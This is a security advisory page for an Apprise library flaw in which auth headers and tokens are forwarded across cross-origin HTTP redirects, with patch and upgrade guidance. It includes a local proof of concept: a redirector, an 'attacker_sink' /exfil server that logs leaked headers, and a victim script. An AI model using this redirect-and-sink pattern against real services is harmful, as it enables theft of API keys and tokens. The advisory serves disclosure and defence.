All vulnerabilities
CVE-2026-59180GHSA-856c-92hv-3vxxPYSEC-2026-4200

Apprise forwards configured auth headers across cross-origin HTTP redirects

caronc apprisepipLibraries & packages
CVSS
3.1Low
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 10 Jul 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.32%Chance of exploitation activity in the next 30 days, higher than 23% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in1.11.0Fixed versionGitHub
Published10 Jul 2026Updated 15 Oct 2026CVE List

What fixes it

  • 1.11.0apprise, pipGitHub
  • 1.11.0apprise, PyPIOSVpip install "apprise>=1.11.0"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

Apprise's HTTP-based notification plugins and its HTTP attachment / config loaders (apprise/attachment/http.py, apprise/config/http.py) follow HTTP 3xx redirects by default and re-send the user-configured auth headers and query parameters on the redirected request. If an operator-configured destination is later compromised (service takeover, malicious update), or an attacker holds a MITM position on an unprotected network path, that destination can return a 302 Location: to an arbitrary host and Apprise forwards the user's secret (X-Gotify-Key, Authorization, bearer tokens in query, custom +Header= values) to that cross-origin host. The attacker does not need to control the original Apprise URL — only the response from a destination the operator already trusts.

This is the application-layer analogue of urllib3 [GHSA-34jh-p97f-mpxf](https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf) / CVE-2026-44431 ("Proxy-Authorization forwarded across cross-origin redirect").

Affected versions

All releases up to and including v1.10.0 (latest PyPI release as of filing, 2026-04-26). Fixed in v1.11.0 (released 2026-05-29), which includes PR #1610 (merged 2026-05-16, commit 68c0aef218055e4586cf4605fd6b56358f5f462d).

Details

apprise/plugins/gotify.py (pre-fix HEAD, lines 226-244, verbatim):

headers = {
    "User-Agent": self.app_id,
    "Content-Type": "application/json",
    "X-Gotify-Key": self.token,    # user-supplied secret
}
...
r = requests.post(
    url,
    data=dumps(payload),
    headers=headers,
    verify=self.verify_certificate,
    timeout=self.request_timeout,
    # NO allow_redirects=False -- requests default is True
)

requests follows 3xx redirects by default and re-attaches the headers= dict on the redirected request, regardless of origin. The same shape exists across ~50 plugins (custom_json, custom_xml, custom_form, gotify, ntfy, mattermost, apprise_api, and most other HTTP-based plugins), plus in apprise/attachment/http.py and apprise/config/http.py.

Reproduction (local, safe)

# attacker_redirector.py -- 127.0.0.1:8081 returns 302 to a cross-origin sink
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://127.0.0.1:8082/exfil")
        self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8081), H).serve_forever()
# attacker_sink.py -- 127.0.0.1:8082 logs the leaked headers
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        print("LEAKED HEADERS:", dict(self.headers))
        self.send_response(204); self.end_headers()
http.server.HTTPServer(("127.0.0.1", 8082), H).serve_forever()
# victim
from apprise import Apprise
a = Apprise()
a.add("gotify://127.0.0.1:8081?token=SECRETTOKEN")
a.notify(body="x")

Observed on master HEAD (2026-05-13): attacker_sink.py prints X-Gotify-Key: SECRETTOKEN -- the user-supplied token followed the cross-origin redirect.

Patch

Fix landed in [caronc/apprise#1610](https://github.com/caronc/apprise/pull/1610) (merged 2026-05-16, commit 68c0aef):

  • Adds ?redirect=yes|no URL parameter on every plugin URL
  • Adds AppriseAsset.http_redirects global default
  • Equivalent flags wired into apprise/attachment/http.py and apprise/config/http.py

The default remains redirects=True for backwards compatibility -- operators who relay notifications through destinations they don't fully trust should append ?redirect=no to their Apprise URLs or set AppriseAsset(http_redirects=False) globally.

Released in v1.11.0 (2026-05-29, available on PyPI).

Related:

  • Documentation: [caronc/apprise-docs#60](https://github.com/caronc/apprise-docs/pull/60) (merged 2026-05-16)
  • API counterpart: [caronc/apprise-api#331](https://github.com/caronc/apprise-api/pull/331) (merged 2026-05-29; shipped in apprise-api v1.5.1, built on Apprise v1.11.0)

Remediation

Upgrade to Apprise v1.11.0 or later (pip install -U apprise).

The default remains redirect=yes for backwards compatibility, so after upgrading, operators who relay notifications through destinations they don't fully trust should also set AppriseAsset(http_redirects=False) globally or append ?redirect=no to each plugin URL.

If you cannot upgrade yet, operate Apprise only against fully trusted notification destinations (the maintainer-documented supported model).

Classification

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor -- user's auth tokens / API keys / custom +Header= values are forwarded onto the cross-origin redirected request.
  • CWE-601 URL Redirection to Untrusted Site -- a 3xx response from the initial (operator-configured) target sends the request and its credentials to a host the operator never configured.

CVSS 3.1: AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N -> 3.1 LOW.

Attack requires the operator-configured destination to be compromised or an attacker to be on the network path. Impact is partial confidentiality loss: a single user-supplied secret per redirected request, scoped to that one notification channel. This is intentionally a narrow redirect/header-forwarding hardening issue, not a claim that remote destinations or remote configuration are themselves vulnerabilities.

Text from GitHub Advisory Database

Affected versions 53

  • apprise, pip<= 1.10.0GitHub
  • appriseaffected: < 1.11.0CVE List
  • apprise, PyPIfrom first release, fixed in 1.11.0OSV
  • apprise, PyPI0.0.1OSV
  • apprise, PyPI0.0.2OSV
  • apprise, PyPI0.0.3OSV
  • apprise, PyPI0.0.4OSV
  • apprise, PyPI0.0.5OSV
  • apprise, PyPI0.0.6OSV
  • apprise, PyPI0.0.7OSV
  • apprise, PyPI0.0.8OSV
  • apprise, PyPI0.0.9OSV
  • apprise, PyPI0.5.0OSV
  • apprise, PyPI0.5.2OSV
  • apprise, PyPI0.7.3OSV
  • apprise, PyPI0.7.4OSV
  • apprise, PyPI0.7.5OSV
  • apprise, PyPI0.7.6OSV
  • apprise, PyPI0.7.7OSV
  • apprise, PyPI0.7.8OSV
  • apprise, PyPI0.7.9OSV
  • apprise, PyPI0.8.0OSV
  • apprise, PyPI0.8.1OSV
  • apprise, PyPI0.8.2OSV
  • apprise, PyPI0.8.3OSV
  • apprise, PyPI0.8.4OSV
  • apprise, PyPI0.8.5OSV
  • apprise, PyPI0.8.6OSV
  • apprise, PyPI0.8.7OSV
  • apprise, PyPI0.8.8OSV
  • apprise, PyPI0.8.9OSV
  • apprise, PyPI0.9.0OSV
  • apprise, PyPI0.9.1OSV
  • apprise, PyPI0.9.2OSV
  • apprise, PyPI0.9.3OSV
  • apprise, PyPI0.9.4OSV
  • apprise, PyPI0.9.5.1OSV
  • apprise, PyPI0.9.6OSV
  • apprise, PyPI0.9.7OSV
  • apprise, PyPI0.9.8OSV
  • apprise, PyPI0.9.8.1OSV
  • apprise, PyPI0.9.8.2OSV
  • apprise, PyPI0.9.8.3OSV
  • apprise, PyPI0.9.9OSV
  • apprise, PyPI1.0.0OSV
  • apprise, PyPI1.1.0OSV
  • apprise, PyPI1.10.0OSV
  • apprise, PyPI1.2.0OSV
  • apprise, PyPI1.2.1OSV
  • apprise, PyPI1.3.0OSV
  • apprise, PyPI1.4.0OSV
  • apprise, PyPI1.4.5OSV
  • apprise, PyPI1.5.0OSV

References 6